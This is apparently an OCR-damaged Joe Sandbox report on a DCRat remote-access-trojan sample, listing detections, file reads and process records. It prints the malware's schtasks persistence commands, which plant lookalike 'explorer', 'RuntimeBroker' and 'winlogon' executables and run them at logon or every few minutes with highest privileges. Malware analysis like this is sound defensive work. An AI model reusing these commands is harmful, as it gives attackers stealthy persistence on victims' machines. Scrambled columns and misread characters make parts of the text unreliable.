00000017.00000002.361259028.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Detection: 100%, Avira

Detection: 100%, Avira

Detection: 100%, Joe Sandbox ML
Detection: 100%, Joe Sandbox ML
Detection: 55%, Virustotal, Browse
Detection: 70%, ReversingLabs

e o o o o o
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File Activities

File Created
File Path Access Attributes Options Completion
C:\Users\user read data or list  device directory file | object name collision
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Read
File Path Offset Length Completion
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 4095 success or wait
ne.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 6135 success or wait
ne.config
C:\Windows\assembly\Nativelmages_v4.0.30319_64\mscorlib\ac26 unknown 176 success or wait
e2af62f23e37e645b5e44068a025\mscorlib.ni.dll.aux
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4095 success or wait
ne.config
C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Window unknown 1720 success or wait
s.Forms\6d7d43e19d7fc0006285b85b7e2c8702\System.Windows.Form
s.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_64\System\10a171 unknown 620 success or wait
39182a9efd561f01fada9688a5\System.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Drawin unknown 584 success or wait
9\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Config unknown 864 success or wait
uration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuratio
n.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Core\4 unknown 900 success or wait
e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Xml\f2 unknown 748 success or wait
e3165e3c718b7ac302fead0614c984\System.Xml.ni.dll.aux
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 4095 success or wait
ne.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 8171 end of file
ne.config
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 4096 success or wait
ne.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4096 end of file
ne.config
Registry Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
Key Path Completion
Key Path Name Type Data Completion
Analysis Process: schtasks.exe PID: 2072, Parent PID: 4740
General
Target ID: 24
Start time: 00:52:19
Start date: 06/08/2022
Path: C:\Windows\System32\schtasks.exe
Wow64 process (32bit): false
Commandline: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Recovery\winlogon.exe™ /rl HIGHEST /f
Imagebase: 0x7ff73fb60000
File size: 226816 bytes
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Count Source Address

1 7FFC60F8F1E9

1 7FFC60F8F1E9

Count Source Address

1

1

7FFC60E5B9DD

7FFC60E5B9DD

7TFFC60F312E7

7TFFC60E62625

TFFC60F312E7

TFFC60F312E7

7TFFC60F312E7

TFFC60F312E7

7TFFC60F312E7

TFFC60F312E7

7FFC60E5B9DD

7FFC60E5B9DD

7FFC5FB4B526

7FFC5FB4B526

Count Source Address

Count Source Address

Symbol

unknown

unknown

Symbol

unknown

unknown

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

unknown

unknown

ReadFile

ReadFile

Symbol

Symbol
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MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

838D346D1D28F00783B7A6C6BD0O3A0DA
true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 5100, Parent PID: 4740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

26

00:52:20

06/08/2022

C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\Recovery\explorer.exe™ /f
0x7ff73fb60000

226816 bytes

838D346D1D28F00783B7A6C6BD0O3A0DA

true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 2292, Parent PID: 4740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

27

00:52:21

06/08/2022

C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\explorer.exe™ /rl HIGHEST /f
0x7ff73fb60000

226816 bytes

838D346D1D28F00783B7A6C6BD0O3A0DA

true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 4036, Parent PID: 4740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

28

00:52:21

06/08/2022
C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Recovery\explorer.exe™ /rl HIGHEST /f

0x7ff73fb60000

226816 bytes
838D346D1D28F00783B7A6C6BDO3A0DA
true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 4200, Parent PID: 4740
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General

Target ID: 29

Start time: 00:52:22

Start date: 06/08/2022

Path: C:\Windows\System32\schtasks.exe

Wow64 process (32bit): false

Commandline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\comproviderRuntimecommon\RuntimeBroker.exe™ /f
Imagebase: 0x7ff73fb60000

File size: 226816 bytes

MDS5 hash: 838D346D1D28F00783B7A6C6BD0O3A0DA

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Analysis Process: explorer.exe PID: 1820, Parent PID: 848

General

Target ID: 30

Start time: 00:52:22

Start date: 06/08/2022

Path: C:\Recovery\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Recovery\explorer.exe

Imagebase: 0x100000

File size: 848384 bytes

MD5 hash: 4EAF964B744BD6801B5122AE1AFBBDE4

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source:

0000001E.00000002.371238392.0000000002381000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source:
0000001E.00000002.378960692.00000000023C9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Antivirus matches: Detection: 100%, Avira
Detection: 100%, Joe Sandbox ML
Detection: 55%, Virustotal, Browse

Detection: 70%, ReversingLabs

Analysis Process: schtasks.exe PID: 5304, Parent PID: 4740

General

Target ID: 31

Start time: 00:52:22

Start date: 06/08/2022

Path: C:\Windows\System32\schtasks.exe

Wow64 process (32bit): false

Commandline: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\comproviderRuntimecommon\RuntimeBroker.exe™ /rl HIGHEST /f
Imagebase: 0x7ff73fb60000

File size: 226816 bytes

MDS5 hash: 838D346D1D28F00783B7A6C6BD0O3A0DA

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Analysis Process: explorer.exe PID: 5580, Parent PID: 848

General
Target ID: 32
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

00:52:22

06/08/2022

C:\Recovery\explorer.exe

false

C:\Recovery\explorer.exe

0x2a0000

848384 bytes
4EAF964B744BD6801B5122AE1AFBBDE4
true

true

.Net C# or VB.NET

Yara matches: e Rule: JoeSecurity DCRat_1, Description: Yara detected DCRat, Source:
00000020.00000002.373237011.0000000002619000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity DCRat_1, Description: Yara detected DCRat, Source:
00000020.00000002.370984322.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Analysis Process: schtasks.exe PID: 3896, Parent PID: 4740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

33

00:52:23

06/08/2022
C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\comproviderRuntimecommon\RuntimeBroker.exe™ /rl HIGHEST /f

0x7ff73fb60000

226816 bytes
838D346D1D28F00783B7A6C6BDO3A0DA
true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 5280, Parent PID: 4740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

35

00:52:24

06/08/2022
C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 5 /tr ""C:\comproviderRuntimecommon\backgroundTaskHost.exe™ /f

0x7ff73fb60000

226816 bytes
838D346D1D28F00783B7A6C6BD0O3A0DA
true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 6024, Parent PID: 4740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

36

00:52:24

06/08/2022
C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\comproviderRuntimecommon\backgroundTaskHost.exe™ /rl HIGHEST /f
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Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

0x7ff73fb60000

226816 bytes
838D346D1D28F00783B7A6C6BD0O3A0DA
true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 5608, Parent PID: 4740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

37

00:52:24

06/08/2022
C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\comproviderRuntimecommon\backgroundTaskHost.exe" /rl HIGHEST /f

0x7ff73fb60000

226816 bytes
838D346D1D28F00783B7A6C6BDO3A0DA
true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 6056, Parent PID: 4740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

38

00:52:25

06/08/2022
C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "ShellExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Recovery\ShellExperienceHost.exe™ /f

0x7ff73fb60000

226816 bytes
838D346D1D28F00783B7A6C6BD0O3A0DA
true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 2292, Parent PID: 4740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

40
00:52:26

06/08/2022
C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "ShellExperienceHost" /sc ONLOGON /tr "'C:\Recovery\ShellExperienceHost.exe™ /rl HIGHEST /f

0x7ff73fb60000

226816 bytes
838D346D1D28F00783B7A6C6BDO3A0DA
true

true

C, C++ or other language
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Disassembly

@ No disassembly
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